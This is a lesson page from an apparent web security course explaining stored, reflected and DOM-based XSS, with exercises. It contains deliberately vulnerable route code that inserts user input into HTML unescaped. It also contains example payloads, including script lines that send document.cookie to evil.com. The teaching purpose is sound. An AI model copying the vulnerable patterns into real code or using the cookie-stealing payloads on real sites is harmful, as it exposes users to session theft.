hectoday
DocsCoursesChangelog GitHub
DocsCoursesChangelog GitHub

Access Required

Enter your access code to view courses.

Invalid code

← All courses Web Security Fundamentals with @hectoday/http

The Attacker's Mindset

  • Thinking Like an Attacker
  • Project Setup

Injection Attacks

  • SQL Injection
  • SQL Injection: Beyond the Basics
  • Command Injection
  • Header Injection

Cross-Site Scripting (XSS)

  • What Is XSS?
  • Output Encoding
  • Content Security Policy in Practice

Broken Access and Redirects

  • Insecure Direct Object References (IDOR)
  • Open Redirects
  • Server-Side Request Forgery (SSRF)

File and Data Handling

  • Path Traversal
  • Mass Assignment
  • Denial of Service via Input

Putting It All Together

  • Security Testing
  • The OWASP Top 10
  • Capstone: Hardened Notes API

What Is XSS?

Injection, but in the browser

In the injection section, the attacker injected code into server-side interpreters (SQL, shell, HTTP). XSS (cross-site scripting) injects code into the browser. The interpreter is the user’s browser, and the code is JavaScript.

When an attacker gets their JavaScript to run in another user’s browser, they can steal session cookies, log keystrokes, redirect the user to a phishing page, or modify what the user sees — all from a trusted domain.

Stored XSS

The attacker stores malicious JavaScript in your database. When another user views the data, the script executes in their browser.

In our notes app, imagine a feature that renders note titles in an HTML page:

route.get("/notes/:id/view", {
  resolve: (c) => {
    const user = authenticate(c.request);
    if (user instanceof Response) return user;

    const note = db
      .prepare("SELECT * FROM notes WHERE id = ? AND user_id = ?")
      .get(c.params.id, user.id) as any;
    if (!note) return Response.json({ error: "Not found" }, { status: 404 });

    // DELIBERATELY VULNERABLE — note.title is inserted directly into HTML
    const html = `<html><body><h1>${note.title}</h1><p>${note.body}</p></body></html>`;
    return new Response(html, { headers: { "content-type": "text/html" } });
  },
});

If an attacker creates a note with the title <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>, anyone who views that note (in a shared app or an admin panel) runs the attacker’s script.

This is stored XSS because the payload is stored in the database. It persists and attacks every user who views it.

Reflected XSS

The attacker’s script is not stored — it comes from the URL and is reflected back in the response.

route.get("/search", {
  resolve: (c) => {
    const query = new URL(c.request.url).searchParams.get("q") ?? "";
    // DELIBERATELY VULNERABLE
    const html = `<html><body><p>Results for: ${query}</p></body></html>`;
    return new Response(html, { headers: { "content-type": "text/html" } });
  },
});

The attacker crafts a URL: /search?q=<script>alert('xss')</script> and tricks the victim into clicking it (via email, social media, or a link on another site).

This is reflected XSS because the payload comes from the request and is reflected in the response. It is not stored.

DOM-based XSS

The attack happens entirely in client-side JavaScript, without the payload ever reaching the server. Client-side code reads from the URL and writes to the DOM unsafely:

// Client-side JavaScript
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = `Hello, ${name}!`;

If name is <img src=x onerror=alert('xss')>, the browser parses it as HTML and executes the event handler. The server never saw the payload.

This is DOM-based XSS because the vulnerability is in the client-side DOM manipulation, not in the server-side response.

What the attacker can do

Once JavaScript runs in the victim’s browser on your domain:

Steal session cookies: fetch('https://evil.com/steal?c=' + document.cookie) — unless cookies are HttpOnly (which is why the auth course set HttpOnly on session cookies).

Log keystrokes: Add an event listener to the page that captures every key press and sends it to the attacker’s server.

Modify the page: Change the login form’s action to point to the attacker’s server. The user sees your trusted domain in the address bar but submits their credentials to the attacker.

Make requests as the user: Use fetch to call your API with the user’s session. Create, modify, or delete data. The requests come from the user’s browser with their cookies.

HttpOnly cookies block the cookie-theft vector, but the other attacks still work. XSS is dangerous even when session cookies are protected.

Exercises

Exercise 1: Add the vulnerable /notes/:id/view route. Create a note with the title <script>alert('XSS')</script>. View it in a browser. Do you see the alert?

Exercise 2: Try stored XSS with <img src=x onerror=alert('XSS')> as the title. This does not use <script> tags (which some naive filters block) but still executes JavaScript.

Exercise 3: Try the reflected XSS on the search page. What happens if you URL-encode the payload?

What is the difference between stored and reflected XSS?

Why is XSS dangerous even when session cookies are HttpOnly?

← Header Injection Output Encoding →

© 2026 hectoday. All rights reserved.